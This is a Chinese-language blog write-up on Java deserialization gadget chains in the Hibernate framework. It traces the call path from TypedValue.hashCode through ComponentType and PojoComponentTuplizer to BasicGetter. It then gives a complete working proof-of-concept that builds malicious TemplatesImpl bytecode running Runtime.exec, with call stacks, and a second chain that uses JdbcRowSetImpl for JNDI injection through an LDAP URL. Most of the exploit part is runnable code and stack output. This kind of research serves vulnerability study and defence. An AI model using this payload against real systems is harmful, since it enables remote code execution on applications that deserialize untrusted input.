寫在前面
Hibernate是一個(gè)開源免費(fèi)的、基于 ORM 技術(shù)的 Java 持久化框架。通俗地說(shuō),Hibernate 是一個(gè)用來(lái)連接和操作數(shù)據(jù)庫(kù)的 Java 框架,它最大的優(yōu)點(diǎn)是使用了 ORM 技術(shù)。
Hibernate 支持幾乎所有主流的關(guān)系型數(shù)據(jù)庫(kù),只要在配置文件中設(shè)置好當(dāng)前正在使用的數(shù)據(jù)庫(kù),程序員就不需要操心不同數(shù)據(jù)庫(kù)之間的差異。
分析
對(duì)于Hibernate框架的反序列化鏈主要是通過(guò)調(diào)用了任意的getter方法,結(jié)合TemplatesImpl這條鏈子進(jìn)行利用鏈的構(gòu)造。
BasicPropertyAccessor
在該框架中存在有org.hibernate.property.PropertyAccessor這個(gè)接口

我們從這個(gè)注釋可以知道,定義了一個(gè)類的屬性值的相關(guān)策略
在接口中的定義了兩個(gè)方法,分別為getGettergetSetter方法
該接口的實(shí)現(xiàn)類是BasicPropertyAccessor

定義了兩個(gè)實(shí)現(xiàn)類BasicGetter/ BasicSetter
主要來(lái)看看BasicGetter類

首先,在其構(gòu)造方法中傳入了三個(gè)參數(shù),分別是目標(biāo)類,目標(biāo)方法,目標(biāo)屬性。
同時(shí)關(guān)注get方法的實(shí)現(xiàn),將會(huì)觸發(fā)目標(biāo)的method方法,這里就是漏洞點(diǎn)。
那么這個(gè)Getter又是從何而來(lái)的呢?
我們可以關(guān)注到BasciPropertyAccessor?類對(duì)getSetter方法的重寫

在getSetter方法中將會(huì)調(diào)用createGetter?方法,進(jìn)而調(diào)用了getGetterOrNull方法。

在該方法中,將會(huì)通過(guò)getterMethod?方法得到對(duì)應(yīng)屬性的getter方法名,如果存在的話,將會(huì)將其封裝為BasicGetter對(duì)象進(jìn)行返回。
那我們跟進(jìn)一下getterMethod方法

首先在該方法中將會(huì)調(diào)用theClass.getDeclaredMethods?方法得到目標(biāo)類的所有存在的方法,之后遍歷這些方法,如果該方法參數(shù)個(gè)數(shù)不為零就跳過(guò),獲取方法返回Bridge也會(huì)跳過(guò),之后在獲取該方法名之后,判斷是否是get開頭,如果是,將會(huì)進(jìn)行比對(duì)處理之后返回這個(gè)方法。
就這樣得到了對(duì)應(yīng)的Getter方法,而想要調(diào)用,還需要使用他的get方法。
那么又是在哪里調(diào)用了其get方法的呢?
AbstractComponentTuplizer
答案就這個(gè)類中
類中存在一個(gè)getPropertyValue方法

將會(huì)遍歷調(diào)用getters屬性中的get方法
我們看看getters屬性是個(gè)啥

他是一個(gè)Getter對(duì)象數(shù)組,正好了,上面返回了一個(gè)Getter方法,可以反射寫入這個(gè)數(shù)組中,在getPropertyValue方法中調(diào)用其get方法,達(dá)到利用鏈的觸發(fā)。
但是值得注意的是AbstractComponentTuplizer是一個(gè)抽象類,我們尋找一下他的子類。

存在有兩個(gè)子類,DynamicMapComponentTuplizer?類和PojoComponentTuplizer類一個(gè)是處理映射為Map對(duì)象,一個(gè)映射為JAVA實(shí)體。
我們可以發(fā)現(xiàn)在PojoComponentTuplizer?類中存在有g(shù)etPropertyValues方法。

且能夠調(diào)用父類的getPropertyValues方法,
那么這個(gè)類方法又是在何處存在調(diào)用。
TypedValue
通過(guò)Uage的搜索,發(fā)現(xiàn)在org.hibernate.type.ComponentType#getPropertyValue存在有相關(guān)方法的調(diào)用。

這條鏈子的關(guān)鍵點(diǎn)還是在org.hibernate.engine.spi.TypedValue類中。

在其構(gòu)造方法中傳入了Type和Object對(duì)象的映射,在上面提到的ComponentType同樣實(shí)現(xiàn)了Type接口。
在構(gòu)造方法中除了賦值,還調(diào)用了initTransients方法。

創(chuàng)建了一個(gè) ValueHolder 對(duì)象,并為其賦予了一個(gè)新的 DeferredInitializer 對(duì)象并重寫了initialize()方法。
之后將其賦予給hashCode屬性,我們可以關(guān)注到反序列化入口點(diǎn),在hashCode?方法中調(diào)用了初始化賦值的hashCode屬性的getValue方法。

即是調(diào)用了ValueHolder#getValue方法,

在這里將會(huì)調(diào)用之前初始化時(shí)重寫的initialize方法,

如果此時(shí)的type是ComponentType?就將會(huì)調(diào)用它的getHashCode方法,

最終調(diào)用了getPropertyValue方法形成了利用鏈。
利用構(gòu)造
Hibernate1
同樣的,首先創(chuàng)建一個(gè)TemplatesImpl對(duì)象
//動(dòng)態(tài)創(chuàng)建字節(jié)碼
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
之后獲取對(duì)應(yīng)的getter。
// 創(chuàng)建 BasicGetter 實(shí)例,用來(lái)觸發(fā) TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(templates.getClass(), method, "outputProperties");
之后我們需要觸發(fā)getter的get方法,根據(jù)前面的分析,我們可以知道是通過(guò)調(diào)用org.hibernate.tuple.component.PojoComponentTuplizer類觸發(fā)get的調(diào)用。
所以我們創(chuàng)建一個(gè)實(shí)例并反射寫入數(shù)據(jù)。
Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);
// 反射將 BasicGetter 寫入 PojoComponentTuplizer 的成員變量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);
完整的POC。
package pers.hibernate;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import pers.util.SerializeUtil;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
public class Hibernate1 {
public static void main(String[] args) throws Exception {
Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");
//動(dòng)態(tài)創(chuàng)建字節(jié)碼
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");
Object getter;
try {
// 創(chuàng)建 GetterMethodImpl 實(shí)例,用來(lái)觸發(fā) TemplatesImpl 的 getOutputProperties 方法
Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, method);
} catch (Exception ignored) {
// 創(chuàng)建 BasicGetter 實(shí)例,用來(lái)觸發(fā) TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(templates.getClass(), method, "outputProperties");
}
// 創(chuàng)建 PojoComponentTuplizer 實(shí)例,用來(lái)觸發(fā) Getter 方法
Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);
// 反射將 BasicGetter 寫入 PojoComponentTuplizer 的成員變量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);
// 創(chuàng)建 ComponentType 實(shí)例,用來(lái)觸發(fā) PojoComponentTuplizer 的 getPropertyValues 方法
Object type = SerializeUtil.createWithoutConstructor(componentTypeClass);
// 反射將相關(guān)值寫入,滿足 ComponentType 的 getHashCode 調(diào)用所需條件
Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
field1.setAccessible(true);
field1.set(type, tuplizer);
Field field2 = componentTypeClass.getDeclaredField("propertySpan");
field2.setAccessible(true);
field2.set(type, 1);
Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
field3.setAccessible(true);
field3.set(type, new Type[]{(Type) type});
// 創(chuàng)建 TypedValue 實(shí)例,用來(lái)觸發(fā) ComponentType 的 getHashCode 方法
TypedValue typedValue = new TypedValue((Type) type, null);
// 創(chuàng)建反序列化用 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "su18");
// put 到 hashmap 之后再反射寫入,防止 put 時(shí)觸發(fā)
Field valueField = TypedValue.class.getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(typedValue, templates);
ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(hashMap);
SerializeUtil.readObject(byteArrayOutputStream);
}
}
解釋一下其中try catch句中是因?yàn)椋?/p>
在不同版本中,由于部分類的更新交替,利用的 Gadget 細(xì)節(jié)則不同。ysoserial 中也根據(jù)不同情況給出了需要修改的利用鏈:
使用org.hibernate.property.access.spi.GetterMethodImpl?替代org.hibernate.property.BasicPropertyAccessor$BasicGetter。
使用org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping來(lái)對(duì) PojoComponentTuplizer 進(jìn)行封裝。
調(diào)用棧
exec:347, Runtime (java.lang)
<clinit>:-1, Evil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)
getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)
getPropertyValue:414, ComponentType (org.hibernate.type)
getHashCode:242, ComponentType (org.hibernate.type)
initialize:98, TypedValue$1 (org.hibernate.engine.spi)
initialize:95, TypedValue$1 (org.hibernate.engine.spi)
getValue:72, ValueHolder (org.hibernate.internal.util)
hashCode:73, TypedValue (org.hibernate.engine.spi)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:51, SerializeUtil (pers.util)
main:102, Hibernate1 (pers.hibernate)
Hibernate2
上一條鏈?zhǔn)峭ㄟ^(guò)觸發(fā)TemplatesImpl類的getOutputProperties方法觸發(fā)的。
這條鏈就是通過(guò)JdbcRowSetImpl這條鏈觸發(fā)JNDI注入,細(xì)節(jié)在fastjson的利用鏈中就講過(guò)了,可以找一下我的文章。
因?yàn)槲覀兡軌蛴|發(fā)任意的getter方法,所以我們可以通過(guò)調(diào)用getDatabaseMetaData方法。

進(jìn)而調(diào)用connect方法觸發(fā)漏洞,

POC的構(gòu)造也很簡(jiǎn)單,只需要將前面創(chuàng)建TemplatesImpl對(duì)象的部分改為創(chuàng)建JdbcRowSetImpl 類對(duì)象。
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://127.0.0.1:23457/Command8");
Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");

調(diào)用鏈
exec:347, Runtime (java.lang)
<clinit>:-1, ExecTemplateJDK8
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:91, VersionHelper12 (com.sun.naming.internal)
loadClass:106, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)
getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)
getPropertyValue:414, ComponentType (org.hibernate.type)
getHashCode:242, ComponentType (org.hibernate.type)
initialize:98, TypedValue$1 (org.hibernate.engine.spi)
initialize:95, TypedValue$1 (org.hibernate.engine.spi)
getValue:72, ValueHolder (org.hibernate.internal.util)
hashCode:73, TypedValue (org.hibernate.engine.spi)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:51, SerializeUtil (pers.util)
main:88, Hibernate2 (pers.hibernate)
總結(jié)
對(duì)于Hibernate的鏈子來(lái)說(shuō),還是要看具體的版本,再次修改POC,自我感覺版本之間的關(guān)鍵方法差異有點(diǎn)大。
Ref
https://su18.org/